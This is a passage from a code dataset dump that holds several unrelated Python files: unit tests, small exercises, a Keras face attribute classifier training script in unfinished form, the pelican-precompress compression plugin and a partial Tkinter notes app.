edges_to_vertices[graph[i][j]] = [i, j]\n\nmax_units_of_edge = edge_lgths.max()\n\nlocations = np.array([], np.float32)\n\nedge_activations = np.ones(edge_lgths, dtype=np.int16)\n\nngbrs = misc.build_tc_neighbours(graph)\n\nv_dists, v_paths = misc.fw_distances(graph, edge_lgths)\n\n'''\ndists, paths = misc.tc_u_to_u_dists(graph, edge_lgths,\n                                    edges_to_vertices,\n                                    max_units_of_edge, v_dists,\n                                    v_paths)\n\nspace = Space(graph, edges_to_vertices, edge_lgths,\n              max_units_of_edge, edge_activations, locations,\n              ngbrs, dists, paths, v_dists, v_paths)\n'''\n\n# I.1.3. Idlenesses\nidls = [0] * len(graph)\n\nprint(\"misc.to_tc_path\\n\")\nv__1_1 = (6, -1, 0)\nv__1_2 = (0, -1, 0)\nv_e_1 = (5, -1, 0)\nv_e_2 = (2, -1, 0)\np_1 = (3, -1, 0)\np_2 = (4, -1, 0)\nls = [v__1_1, v__1_2, v_e_1, v_e_2, p_1, p_2]\n\nfor l1 in ls:\n    for l2 in ls:\n        print(l1, l2)\n        vp = v_paths[l1[0]][l2[0]]\n        print(vp)\n        # u_path = misc.to_tc_path(l1, l2, v_paths[l1[0]][l2[0]], graph,\n        #                          edge_lgths, edges_to_vertices)\n        u_path = misc.tc_v_to_v_path(l1, l2, graph, edge_lgths,\n                                     edges_to_vertices, v_paths)\n        print(u_path, \"\\n\")\n\n","sub_path":"tests/test6.py","file_name":"test6.py","file_ext":"py","file_size_in_byte":2371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"555186037","text":"from data.struct.StockDailyMap import StockDailyMap\r\nfrom models.ThreeDayVolumeModel import ThreeDayVolumeModel\r\nfrom unittest import TestCase\r\nfrom hamcrest import assert_that, equal_to\r\nfrom models.ThreeDayVolumeTwoDayUpModel import ThreeDayVolumeTwoDayUpModel\r\n\r\n__author__ = 'Cedric Zhuang'\r\n\r\n\r\nclass StockDailyMapTest(TestCase):\r\n    def get_stock_daily_map(self):\r\n        return StockDailyMap([\"sh600000\", \"sh600007\", \"sh600008\"], 20100105, 20101215)\r\n\r\n    def test_get_stock(self):\r\n        stocks = self.get_stock_daily_map()\r\n        assert_that(stocks.get_stock('sh600000').ix[20100105].open,\r\n                    equal_to(21.41))\r\n\r\n    def test_get_result_of_data(self):\r\n        stocks = self.get_stock_daily_map()\r\n        model = ThreeDayVolumeModel()\r\n        result = stocks.get_result_of_date(model, 20100211)\r\n        # the result is calculated starting from 20100115\r\n        assert_that(result.iloc[0][model.key_names()], equal_to(('Up', 'Up', 'Down')))\r\n        assert_that(result.iloc[0][model.value_names()], equal_to('Down'))\r\n        assert_that(result.iloc[0]['count'], equal_to(1))\r\n\r\n        assert_that(result.iloc[1][model.key_names()], equal_to(('Up', 'Down', 'Down')))\r\n        assert_that(result.iloc[1][model.value_names()], equal_to('Down'))\r\n        assert_that(result.iloc[1]['count'], equal_to(1))\r\n\r\n        assert_that(result.iloc[2][model.key_names()], equal_to(('Down', 'Up', 'Up')))\r\n        assert_that(result.iloc[2][model.value_names()], equal_to('Down'))\r\n        assert_that(result.iloc[2]['count'], equal_to(1))\r\n\r\n    def test_get_index_value_of_all_dates_all_stocks(self):\r\n        stocks = StockDailyMap([\"sh600000\", \"sh600007\", \"sh600008\"], 20100205, 20100215)\r\n        model = ThreeDayVolumeTwoDayUpModel()\r\n        results = stocks.get_index_value_of_all_dates_all_stocks(model)\r\n        \"\"\" result should be:\r\n                  volume -3, -2, -1  2 day change\r\n        date\r\n        20100210                  0             1\r\n        20100211                  1             1\r\n        20100210                  0             0\r\n        20100211                  0             0\r\n        20100210                  1             1\r\n        20100211                  2             1\r\n        \"\"\"\r\n        results = results.reset_index().groupby(['date', model.key_names()]).sum()\r\n        assert_that(results.ix[20100211].ix[0][model.value_names()], equal_to(0))\r\n        assert_that(results.ix[20100211].ix[1][model.value_names()], equal_to(1))\r\n        assert_that(results.ix[20100211].ix[2][model.value_names()], equal_to(1))\r\n\r\n    def test_summarize_data_in_duration_on_date(self):\r\n        results = self.get_distribution_on_date(ThreeDayVolumeTwoDayUpModel(), 20100121)\r\n        \"\"\"\r\n        Results should be like this:\r\n                                            count\r\n        volume -3, -2, -1 2 day change\r\n        0                 1                 2\r\n        1                 0                 2\r\n                          1                 3\r\n        2                 0                 1\r\n        ...\r\n        \"\"\"\r\n        assert_that(results.ix[1].ix[0]['count'], equal_to(2))\r\n        assert_that(results.ix[1].ix[1]['count'], equal_to(3))\r\n\r\n    def verify_data_on_2010_2_8(self, results):\r\n        assert_that(results.ix[1].ix[1]['count'], equal_to(4))\r\n        assert_that(results.ix[4].ix[1]['count'], equal_to(4))\r\n\r\n    def test_summarize_data_in_duration_on_date_1(self):\r\n        results = self.get_distribution_on_date(ThreeDayVolumeTwoDayUpModel(), 20100208)\r\n        self.verify_data_on_2010_2_8(results)\r\n\r\n    def get_distribution_on_date(self, model, date):\r\n        stocks = self.get_stock_daily_map()\r\n        results = stocks.get_index_value_of_all_dates_all_stocks(model)\r\n        results['count'] = 1\r\n        results = results.reset_index()\\\r\n            .groupby(['date', model.key_names(), model.value_names()])\\\r\n            .count()\r\n        return stocks.summarize_data_in_duration_on_date(results, model, date)\r\n\r\n    def test_summarize_data_in_duration(self):\r\n        stocks = self.get_stock_daily_map()\r\n        model = ThreeDayVolumeTwoDayUpModel()\r\n        results = stocks.get_index_value_of_all_dates_all_stocks(model)\r\n        all_date_results = stocks.summarize_data_in_duration(results, model)\r\n        result_on_date = all_date_results.ix[20100208]\r\n        self.verify_data_on_2010_2_8(result_on_date)\r\n\r\n    def test_incremental_and_full_should_match(self):\r\n        stocks = StockDailyMap([\"sh600000\", \"sh600007\", \"sh600008\"], 20090105, 20101215)\r\n        model = ThreeDayVolumeTwoDayUpModel()\r\n        test_date = 20101210\r\n        results = stocks.get_index_value_of_all_dates_all_stocks(model)\r\n        delta = stocks.summarize_data_in_duration(results, model).ix[test_date]\r\n        full = self.get_distribution_on_date(ThreeDayVolumeTwoDayUpModel(), test_date)\r\n        assert_that(delta.ix[0].ix[0]['count'], equal_to(full.ix[0].ix[0]['count']))\r\n        assert_that(delta.ix[1].ix[0]['count'], equal_to(full.ix[1].ix[0]['count']))\r\n        assert_that(delta.ix[2].ix[0]['count'], equal_to(full.ix[2].ix[0]['count']))\r\n        assert_that(delta.ix[2].ix[1]['count'], equal_to(full.ix[2].ix[1]['count']))\r\n        assert_that(delta.ix[3].ix[0]['count'], equal_to(full.ix[3].ix[0]['count']))\r\n        assert_that(delta.ix[3].ix[1]['count'], equal_to(full.ix[3].ix[1]['count']))\r\n        assert_that(delta.ix[4].ix[0]['count'], equal_to(full.ix[4].ix[0]['count']))\r\n        assert_that(delta.ix[4].ix[1]['count'], equal_to(full.ix[4].ix[1]['count']))\r\n        assert_that(delta.ix[5].ix[0]['count'], equal_to(full.ix[5].ix[0]['count']))\r\n        assert_that(delta.ix[5].ix[1]['count'], equal_to(full.ix[5].ix[1]['count']))\r\n        assert_that(delta.ix[6].ix[0]['count'], equal_to(full.ix[6].ix[0]['count']))\r\n\r\n\r\n\r\n\r\n","sub_path":"source/data/struct/test_StockDailyMap.py","file_name":"test_StockDailyMap.py","file_ext":"py","file_size_in_byte":5839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"37540388","text":"# -*- coding: utf-8 -*-\n\ndef drawBoard(rows,columns):\n\t#resulting character fild have be 2*rows-1\n\tfor rc in range(1,rows*2):\n\t\tif rc%2 == 0:\n\t\t\tprint('-'*(columns*2-1))\n\t\telse:\n\t\t\tfor cc in range(1,columns*2):\n\t\t\t\tif cc%2 == 0:\n\t\t\t\t\tprint('|',end=\"\")\n\t\t\t\telse:\n\t\t\t\t\tprint(\" \",end=\"\")\n\t\t\t\tif cc>=(columns*2-1):\n\t\t\t\t\tprint(\"\")\n\ndrawBoard(3,7)\n                    \n                \n                \n\n","sub_path":"hw6.py","file_name":"hw6.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"247166339","text":"#!/usr/bin/python3\ndef matrix_mul(m_a, m_b):\n    if not isinstance(m_a, list):\n        raise TypeError(\"m_a must be a list\")\n    if not isinstance(m_b, list):\n        raise TypeError(\"m_b must be a list\")\n    if m_a == [] or m_a == [[]] or m_a == [[], []]:\n        raise TypeError(\"m_a can't be empty\")\n    if m_b == [] or m_b == [[]] or m_b == [[], []]:\n        raise TypeError(\"m_b can't be empty\")\n    for row in m_a:\n        if len(row) != len(m_a[0]):\n            raise TypeError(\"each row of m_a must should be of the same size\")\n        for elem in row:\n            if not isinstance(elem, int) and not isinstance(elem, float):\n                raise TypeError(\"m_a should contain only integers or floats\")\n    for row in m_b:\n        if len(row) != len(m_b[0]):\n            raise TypeError(\"each row of m_b must should be of the same size\")\n        for elem in row:\n            if not isinstance(elem, int) and not isinstance(elem, float):\n                raise TypeError(\"m_b should contain only integers or floats\")\n    if len(m_a[0]) != len(m_b):\n        raise ValueError(\"m_a and m_b can't be multiplied\")\n    result = [[0 for row in range(len(m_b[0]))] for col in range(len(m_a))]\n    for i in range(len(m_a)):\n        for j in range(len(m_b[0])):\n            for k in range(len(m_a[0])):\n                result[i][j] += m_a[i][k] * m_b[k][j]\n    return result\n","sub_path":"0x06-python-test_driven_development/100-matrix_mul.py","file_name":"100-matrix_mul.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"633985161","text":"# USAGE\n# python train.py --dataset dataset --model output/fashion.model \\\n#\t--categorybin output/category_lb.pickle --colorbin output/color_lb.pickle\n\n# set the matplotlib backend so figures can be saved in the background\nimport matplotlib\nmatplotlib.use(\"Agg\")\n\n# import the necessary packages\nfrom keras.optimizers import Adam\nfrom keras.preprocessing.image import img_to_array\nfrom sklearn.preprocessing import LabelBinarizer\nfrom sklearn.model_selection import train_test_split\nfrom mymodel.noelnet import NoelNet\nfrom imutils import paths\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport argparse\nimport random\nimport pickle\nimport cv2\nimport os\nimport pandas\nfrom keras.callbacks import ModelCheckpoint, TensorBoard, EarlyStopping\n\n\n# construct the argument parse and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-d\", \"--dataset\", required=True,\n\thelp=\"path to input dataset (i.e., directory of images)\")\nap.add_argument(\"-m\", \"--model\", required=True,\n\thelp=\"path to output model\")\nap.add_argument(\"-a\", \"--agebin\", required=True,\n\thelp=\"path to output age label binarizer\")\nap.add_argument(\"-g\", \"--genderbin\", required=True,\n\thelp=\"path to output gender label binarizer\")\nap.add_argument(\"-r\", \"--racebin\", required=True,\n\thelp=\"path to output race label binarizer\")\nap.add_argument(\"-p\", \"--plot\", type=str, default=\"output\",\n\thelp=\"base filename for generated plots\")\nargs = vars(ap.parse_args())\n\nTRAINING_DIR = \"D:/xrvision/XRV_projects/age_gender_ethicity_dataset/UTKface_dataset/noelnet_v5/dataset\"\n#debugfile(\"D:/xrvision/XRV_projects/age_gender_ethicity_dataset/UTKface_dataset/noelnet_v5/train_v6.py\",\n#          args='--dataset dataset --model output/noelnet.h5 \\\n#          --agebin output/age_lb.pickle --genderbin output/gender_lb.pickle \\\n#          --racebin output/race_lb.pickle')\n\n# initialize the number of epochs to train for, initial learning rate,\n# batch size, and image dimensions\nEPOCHS = 50\nINIT_LR = 1e-3\nBS = 32\nIMAGE_DIMS = (71, 71, 3)\nIMAGE_SIZE = 71\n\n# grab the image paths and randomly shuffle them\nprint(\"[INFO] loading images...\")\nimagePaths = sorted(list(paths.list_images(TRAINING_DIR)))\nrandom.seed(42)\nrandom.shuffle(imagePaths)\n\n# initialize the data, clothing age labels (i.e., shirts, jeans,\n# dresses, etc.) along with the gender labels (i.e., red, blue, etc.)\ndata = []\nageLabels = []\ngenderLabels = []\nraceLabels = []\n\n# loop over the input images\nfor imagePath in imagePaths:\n\t# load the image, pre-process it, and store it in the data list\n\timage = cv2.imread(imagePath)\n\timage = cv2.resize(image, (IMAGE_DIMS[1], IMAGE_DIMS[0]))\n\timage = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n\timage = img_to_array(image)\n\tdata.append(image)\n\n\t# extract the clothing gender and age from the path and\n\t# update the respective lists\n\t(ageyr, gender, race) = imagePath.split(os.path.sep)[-2].split(\"_\")\n\tageLabels.append(ageyr)\n\tgenderLabels.append(gender)\n\traceLabels.append(race)\n\n# scale the raw pixel intensities to the range [0, 1] and convert to\n# a NumPy array\ndata = np.array(data, dtype=\"float\") / 255.0\nprint(\"[INFO] data matrix: {} images ({:.2f}MB)\".format(\n\tlen(imagePaths), data.nbytes / (1024 * 1000.0)))\n\n# convert the label lists to NumPy arrays prior to binarization\nageLabels = np.array(ageLabels)\ngenderLabels = np.array(genderLabels)\nraceLabels = np.array(raceLabels)\n\n# binarize both sets of labels\nprint(\"[INFO] binarizing labels...\")\nageLB = LabelBinarizer()\n#noel genderLB = LabelBinarizer()\nraceLB = LabelBinarizer()\n\nageLabels = ageLB.fit_transform(ageLabels)\n# Noel genderLabels = genderLB.fit_transform(genderLabels)\nraceLabels = raceLB.fit_transform(raceLabels)\n\n\ngenderLB = LabelBinarizer()\ngenderLB.fit(np.array(genderLabels))\ngenderLB.classes_\n\ngenderLabels = pandas.get_dummies(genderLabels)  #noel error here.\ngenderLabels = genderLabels.astype('int32')\ngenderLabels = genderLabels.values\n\n\n\n# partition the data into training and testing splits using 80% of\n# the data for training and the remaining 20% for testing\n#split = train_test_split(data, ageLabels, genderLabels, raceLabels,\n#\ttest_size=0.2, random_state=42)\n#(trainX, testX, trainAgeY, testAgeY,\n#\ttrainGenderY, testGenderY,\n#    trainRaceY, testRaceY) = split\n\nfrom keras.preprocessing.image import ImageDataGenerator\n\ndata_generator = ImageDataGenerator(rescale=1./255, validation_split=0.20)\n\ntrain_generator = data_generator.flow_from_directory(TRAINING_DIR, target_size=(IMAGE_SIZE, IMAGE_SIZE), shuffle=True, seed=13,\n                                                     class_mode='categorical', batch_size=BS, subset=\"training\")\n\nvalidation_generator = data_generator.flow_from_directory(TRAINING_DIR, target_size=(IMAGE_SIZE, IMAGE_SIZE), shuffle=True, seed=13,\n                                                     class_mode='categorical', batch_size=BS, subset=\"validation\")\n#Noel version\nH = model.fit_generator(\n        train_generator,\n        steps_per_epoch=2000 // batch_size,\n        epochs=EPOCHS,\n        verbose=1,\n        validation_data=validation_generator,\n        validation_steps=800 // batch_size,\n        callbacks= [checkpointer])\n\nH = model.fit(train_generator,\t{\"age_output\": trainAgeY, \"gender_output\": trainGenderY , \"race_output\": trainRaceY},\n\tvalidation_data=(testX, {\"age_output\": testAgeY, \"gender_output\": testGenderY, \"race_output\": testRaceY}),\n\tepochs=EPOCHS,\n\tverbose=1,\n   callbacks= [checkpointer])\n\n##########################################\ncheckpointer = ModelCheckpoint(filepath='./result_dir/noelnet--{epoch:03d}.h5',\n                                verbose=1,\n                                save_best_only=True)\n\n#early_stopper = EarlyStopping(patience=25)\n\n#tensorboard = TensorBoard(log_dir=os.path.join(result_dir, 'logs'),\n#                          histogram_freq=0, write_graph=False,\n#                          write_images=True)\n ########################################\n# initialize our NoelNet multi-output network\nmodel = NoelNet.build(71, 71,\n\tnumAges=len(ageLB.classes_),\n\tnumGenders=2,\n\tnumRaces=len(raceLB.classes_),\n\tfinalAct=\"softmax\")\n\n# define two dictionaries: one that specifies the loss method for\n# each output of the network along with a second dictionary that\n# specifies the weight per loss\nlosses = {\n\t\"age_output\": \"categorical_crossentropy\",\n\t\"gender_output\": \"categorical_crossentropy\",\n    \t\"race_output\": \"categorical_crossentropy\",\n}\n\nlossWeights = {\"age_output\": 1.0, \"gender_output\": 1.0, \"race_output\": 1.0}\n\n# initialize the optimizer and compile the model\nprint(\"[INFO] compiling model...\")\nopt = Adam(lr=INIT_LR, decay=INIT_LR / EPOCHS)\nmodel.compile(optimizer=opt, loss=losses, loss_weights=lossWeights,\n\tmetrics=[\"accuracy\"])\n\n# train the network to perform multi-output classification\nH = model.fit(trainX,\t{\"age_output\": trainAgeY, \"gender_output\": trainGenderY , \"race_output\": trainRaceY},\n\tvalidation_data=(testX, {\"age_output\": testAgeY, \"gender_output\": testGenderY, \"race_output\": testRaceY}),\n\tepochs=EPOCHS,\n\tverbose=1,\n   callbacks= [checkpointer])\n\n# save the model to disk\nprint(\"[INFO] serializing network...\")\nmodel.save(args[\"model\"])\n\n# save the age binarizer to disk\nprint(\"[INFO] serializing age label binarizer...\")\nf = open(args[\"agebin\"], \"wb\")\nf.write(pickle.dumps(ageLB))\nf.close()\n\n# save the gender binarizer to disk\nprint(\"[INFO] serializing gender label binarizer...\")\nf = open(args[\"genderbin\"], \"wb\")\nf.write(pickle.dumps(genderLB))\nf.close()\n\n# save the race binarizer to disk\nprint(\"[INFO] serializing race label binarizer...\")\nf = open(args[\"racebin\"], \"wb\")\nf.write(pickle.dumps(raceLB))\nf.close()\n\n# plot the total loss, age loss, and gender race loss\nlossNames = [\"loss\", \"age_output_loss\", \"gender_output_loss\", \"race_output_loss\"]\nplt.style.use(\"ggplot\")\n(fig, ax) = plt.subplots(4, 1, figsize=(13, 13))\n\n# loop over the loss names\nfor (i, l) in enumerate(lossNames):\n\t# plot the loss for both the training and validation data\n\ttitle = \"Loss for {}\".format(l) if l != \"loss\" else \"Total loss\"\n\tax[i].set_title(title)\n\tax[i].set_xlabel(\"Epoch #\")\n\tax[i].set_ylabel(\"Loss\")\n\tax[i].plot(np.arange(0, EPOCHS), H.history[l], label=l)\n\tax[i].plot(np.arange(0, EPOCHS), H.history[\"val_\" + l],\n\t\tlabel=\"val_\" + l)\n\tax[i].legend()\n\n# save the losses figure\nplt.tight_layout()\nplt.savefig(\"{}_losses.jpg\".format(args[\"plot\"]))\nplt.close()\n\n# create a new figure for the accuracies\naccuracyNames = [\"age_output_acc\", \"gender_output_acc\",\"race_output_acc\"]\nplt.style.use(\"ggplot\")\n(fig, ax) = plt.subplots(3, 1, figsize=(8, 8))\n\n# loop over the accuracy names\nfor (i, l) in enumerate(accuracyNames):\n\t# plot the loss for both the training and validation data\n\tax[i].set_title(\"Accuracy for {}\".format(l))\n\tax[i].set_xlabel(\"Epoch #\")\n\tax[i].set_ylabel(\"Accuracy\")\n\tax[i].plot(np.arange(0, EPOCHS), H.history[l], label=l)\n\tax[i].plot(np.arange(0, EPOCHS), H.history[\"val_\" + l],\n\t\tlabel=\"val_\" + l)\n\tax[i].legend()\n\n# save the accuracies figure\nplt.tight_layout()\nplt.savefig(\"{}_accs.jpg\".format(args[\"plot\"]))\nplt.close()","sub_path":"collection/3in1_pre-train/train_v6.py","file_name":"train_v6.py","file_ext":"py","file_size_in_byte":9009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"188343687","text":"class money:\n    def __init__(self):\n        self.arr = list(map(int,input().split()))\n        self.M = int(input())\n        self.min = self.M+1\n        self.solve()\n\n    def TRY(self,ans,k,T):\n        if len(ans) == len(self.arr)-1:\n            if (self.M-T)%self.arr[-1] == 0:\n                k = (self.M-T)//self.arr[-1]\n                total = sum(ans)+k\n                if total<self.min:\n                    self.min = total\n                    print(*(ans+[k]),sep=\" \")\n        else:\n            for i in range((self.M-T)//self.arr[k]+1):\n                self.TRY(ans+[i],k+1,T+self.arr[k]*i)\n\n    def solve(self):\n        self.TRY([],0,0)\n        if self.min == self.M+1:\n            print(\"Can't change money\")\n        else:\n            print(\"Min: \",self.min)\nif __name__ == '__main__':\n    Money = money()","sub_path":"DsAlgo/BuffToTest/DoiTien.py","file_name":"DoiTien.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"403913441","text":"# This file is part of the pelican-precompress plugin.\n# Copyright 2019-2023 Kurt McKee <contactme@kurtmckee.org>\n# Released under the MIT license.\n\nimport functools\nimport gzip\nimport logging\nimport multiprocessing\nimport pathlib\nimport zlib\nfrom typing import Dict, Iterable, Optional, Set, Union\n\nimport blinker\nimport pelican.plugins.granular_signals\n\nlog = logging.getLogger(__name__)\n\n# brotli support is optional.\ntry:\n    import brotli\nexcept ModuleNotFoundError:\n    log.debug(\"brotli is not installed.\")\n    brotli = None\n\n# zopfli support is optional.\ntry:\n    import zopfli.gzip\nexcept ModuleNotFoundError:\n    log.debug(\"zopfli is not installed.\")\n    log.debug(\"Note: pelican_precompress only targets zopfli, not zopflipy.\")\n    zopfli = None\n\n\nDEFAULT_TEXT_EXTENSIONS: Set[str] = {\n    \".atom\",\n    \".css\",\n    \".htm\",\n    \".html\",\n    \".ini\",\n    \".js\",\n    \".json\",\n    \".py\",\n    \".rss\",\n    \".txt\",\n    \".xml\",\n    \".xsl\",\n}\n\n\nclass FileSizeIncrease(Exception):\n    \"\"\"Indicate that the file size increased after compression.\"\"\"\n\n    pass\n\n\ndef get_paths_to_compress(settings: Dict[str, str]) -> Iterable[pathlib.Path]:\n    for path in pathlib.Path(settings[\"OUTPUT_PATH\"]).rglob(\"*\"):\n        if path.suffix in settings[\"PRECOMPRESS_TEXT_EXTENSIONS\"]:\n            yield path\n\n\ndef get_settings(instance) -> Dict[str, Union[bool, pathlib.Path, Set[str]]]:\n    \"\"\"Extract and validate the Pelican settings.\"\"\"\n\n    settings = {\n        \"OUTPUT_PATH\": pathlib.Path(instance.settings[\"OUTPUT_PATH\"]),\n        \"PRECOMPRESS_BROTLI\": instance.settings.get(\"PRECOMPRESS_BROTLI\", bool(brotli)),\n        \"PRECOMPRESS_GZIP\": instance.settings.get(\"PRECOMPRESS_GZIP\", True),\n        \"PRECOMPRESS_ZOPFLI\": instance.settings.get(\"PRECOMPRESS_ZOPFLI\", bool(zopfli)),\n        \"PRECOMPRESS_OVERWRITE\": instance.settings.get(\"PRECOMPRESS_OVERWRITE\", False),\n        \"PRECOMPRESS_MIN_SIZE\": instance.settings.get(\"PRECOMPRESS_MIN_SIZE\", 20),\n        \"PRECOMPRESS_TEXT_EXTENSIONS\": set(\n            instance.settings.get(\n                \"PRECOMPRESS_TEXT_EXTENSIONS\", DEFAULT_TEXT_EXTENSIONS\n            )\n        ),\n    }\n\n    # If brotli is enabled, it must be installed.\n    if settings[\"PRECOMPRESS_BROTLI\"] and not brotli:\n        log.error(\"Disabling brotli pre-compression because it is not installed.\")\n        settings[\"PRECOMPRESS_BROTLI\"] = False\n\n    # If zopfli is enabled, it must be installed.\n    if settings[\"PRECOMPRESS_ZOPFLI\"] and not zopfli:\n        log.error(\"Disabling zopfli pre-compression because it is not installed.\")\n        settings[\"PRECOMPRESS_ZOPFLI\"] = False\n\n    # If zopfli is enabled, disable gzip because it is redundant.\n    if settings[\"PRECOMPRESS_ZOPFLI\"]:\n        settings[\"PRECOMPRESS_GZIP\"] = False\n\n    # '.br' and '.gz' are excluded extensions.\n    excluded_extensions = {\".br\", \".gz\"} & settings[\"PRECOMPRESS_TEXT_EXTENSIONS\"]\n    if excluded_extensions:\n        log.warning(\"gzip and brotli file extensions are excluded.\")\n    for extension in excluded_extensions:\n        log.warning(\n            f'Removing \"{extension}\" from the set of text file extensions to pre-compress.'\n        )\n        settings[\"PRECOMPRESS_TEXT_EXTENSIONS\"].remove(extension)\n\n    # All file extensions must start with a period.\n    invalid_extensions = {\n        extension\n        for extension in settings[\"PRECOMPRESS_TEXT_EXTENSIONS\"]\n        if not extension.startswith(\".\")\n    }\n    if invalid_extensions:\n        log.warning(\"File extensions must start with a period.\")\n    for extension in invalid_extensions:\n        log.warning(\n            f'Removing \"{extension}\" from the set of text file extensions to pre-compress.'\n        )\n        settings[\"PRECOMPRESS_TEXT_EXTENSIONS\"].remove(extension)\n\n    return settings\n\n\ndef compress_files(instance):\n    settings = get_settings(instance)\n\n    # *formats* contains the following information:\n    #\n    # name (str), file extension (str), compressor (callable), decompressor (callable)\n    #\n    enabled_formats = []\n    if settings[\"PRECOMPRESS_BROTLI\"]:\n        enabled_formats.append(\n            (\"brotli\", \".br\", compress_with_brotli, decompress_with_brotli),\n        )\n    if settings[\"PRECOMPRESS_GZIP\"]:\n        enabled_formats.append(\n            (\"gzip\", \".gz\", compress_with_gzip, decompress_with_gzip),\n        )\n    if settings[\"PRECOMPRESS_ZOPFLI\"]:\n        enabled_formats.append(\n            (\"zopfli\", \".gz\", compress_with_zopfli, decompress_with_gzip),\n        )\n\n    # Exit quickly if no algorithms are enabled.\n    if not enabled_formats:\n        return\n\n    pool = multiprocessing.Pool()\n\n    minimum_size = settings[\"PRECOMPRESS_MIN_SIZE\"]\n    for path in get_paths_to_compress(settings):\n        # Ignore files smaller than the minimum size.\n        if minimum_size and path.stat().st_size < minimum_size:\n            log.info(f\"{path} is less than {minimum_size} bytes. Skipping.\")\n            continue\n\n        data = path.read_bytes()\n\n        for enabled_format in enabled_formats:\n            pool.apply_async(worker, (data, path, enabled_format, settings))\n\n    pool.close()\n    pool.join()\n\n\ndef worker(data, path, enabled_format, settings):\n    name, extension, compressor, decompressor = enabled_format\n\n    destination = path.with_name(path.name + extension)\n    if destination.exists():\n        # Do not overwrite existing files if forbidden.\n        if not settings[\"PRECOMPRESS_OVERWRITE\"]:\n            log.info(f\"{destination} already exists. Skipping.\")\n            return\n\n        # Don't re-compress if the input hasn't changed.\n        destination_data = decompressor(destination)\n        if data == destination_data:\n            log.info(f\"{destination} exists with correct data. Skipping.\")\n            return\n\n        log.warning(f\"{destination} exists and will be overwritten.\")\n\n        # Prevent existing, non-matching (or corrupt) files from remaining\n        # if the file size increases, below.\n        destination.unlink()\n\n    try:\n        blob = compressor(data)\n    except FileSizeIncrease:\n        log.info(f'{name} compression caused \"{path}\" to become larger. Skipping.')\n        return\n\n    with destination.open(\"wb\") as file:\n        file.write(blob)\n\n\ndef validate_file_sizes(wrapped):\n    \"\"\"Validate that every compression algorithm produces smaller files.\"\"\"\n\n    @functools.wraps(wrapped)\n    def wrapper(data: bytes) -> bytes:\n        blob = wrapped(data)\n        if len(blob) >= len(data):\n            raise FileSizeIncrease\n        return blob\n\n    return wrapper\n\n\ndef decompress_with_brotli(path: pathlib.Path) -> Optional[bytes]:\n    \"\"\"Decompress a file using brotli decompression.\"\"\"\n\n    try:\n        return brotli.decompress(path.read_bytes())\n    except brotli.error:\n        return None\n\n\n@validate_file_sizes\ndef compress_with_brotli(data: bytes) -> bytes:\n    \"\"\"Compress binary data using brotli compression.\"\"\"\n\n    return brotli.compress(data, mode=brotli.MODE_TEXT, quality=11)\n\n\ndef decompress_with_gzip(path: pathlib.Path) -> Optional[bytes]:\n    \"\"\"Decompress a file using gzip decompression.\"\"\"\n\n    try:\n        return gzip.decompress(path.read_bytes())\n    except OSError:\n        return None\n\n\n@validate_file_sizes\ndef compress_with_gzip(data: bytes) -> bytes:\n    \"\"\"Compress binary data using gzip compression.\"\"\"\n\n    compressor = zlib.compressobj(level=9, wbits=16 + zlib.MAX_WBITS)\n    return compressor.compress(data) + compressor.flush()\n\n\n@validate_file_sizes\ndef compress_with_zopfli(data: bytes) -> bytes:\n    \"\"\"Compress binary data using zopfli compression.\"\"\"\n\n    return zopfli.gzip.compress(data)\n\n\ndef register():\n    \"\"\"Register the plugin to run at the correct time.\n\n    Pelican lacks a granular signal structure, and its dependency blinker\n    is unable to order the set of receivers for a specific signal (or to\n    have an order imposed on it externally).\n\n    To ensure that compression happens only after other plugins have run\n    (for example, after a minification plugin runs), pelican-precompress\n    doesn't actually register itself with the *finalized* signal.\n\n    Instead, it relies on the pelican-granular-signals plugin's\n    \"compress\" signal.\n    \"\"\"\n\n    # Guarantee that the granular-signals plugin is registered.\n    pelican.plugins.granular_signals.register()\n\n    blinker.signal(\"compress\").connect(compress_files)\n","sub_path":"src/pelican/plugins/precompress/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"98942977","text":"# def solution(s):\n#     arr = []\n#     if (len(s)):\n#         seperated = [s[i:i + 2] for i in range(0, len(s), 2)] # ['aa', 'bb', 'c']\n#         for item in seperated:\n#             if (len(item) == 1):\n#                 arr.append(item + '_')\n#             else:\n#                 arr.append(item)\n#         return arr\n#     return arr\n#\n#\n#\n# print(solution(\"\"))\n#\n# liste = [i for i in range(0, 11, 2)]\n#\n# print(liste)\n\n\n# def addition(n):\n#     return n - 5\n\nnumbers = [1, 2, 3, 4]\nnumbers1 = [5, 6, 7, 8, 9]\nresult = map(lambda n: n * n, numbers,\n)\nprint(list(result))","sub_path":"code wars/code_wars.py","file_name":"code_wars.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"438002326","text":"# TRAVEL SECTION\n\nfrom tkinter import *\nimport tkinter as tk\nimport New_Notes\nimport sqlite3\nimport Query\n\n# Read input\ndef read_input(master, input1, input2, input3, input4, input5, input6, list_box, indexes_list):\n\n# Read information from the input\n    name        = input1.get()\n    destination = input2.get()\n    date        = input3.get()\n    time        = input4.get()\n    duration    = input5.get()\n    description = input6.get()\n\n    # Store data in a Database\n    id = New_Notes.new_notes('Travel', [name, destination, date, time, duration, description])\n    # Output new note on listbox\n    list_box.insert(tk.END, name)\n    # Store id from database of added note\n    indexes_list.append(id)\n\n# Output section after clicking on button\ndef output_section(master, list_box, indexes_list):\n\n     s = Query.get_row(\"Travel\",list_box,indexes_list)\n     if(s != []):\n        # Set column index and its relative weight to distributeadditional space between\n        master.grid_columnconfigure(2, 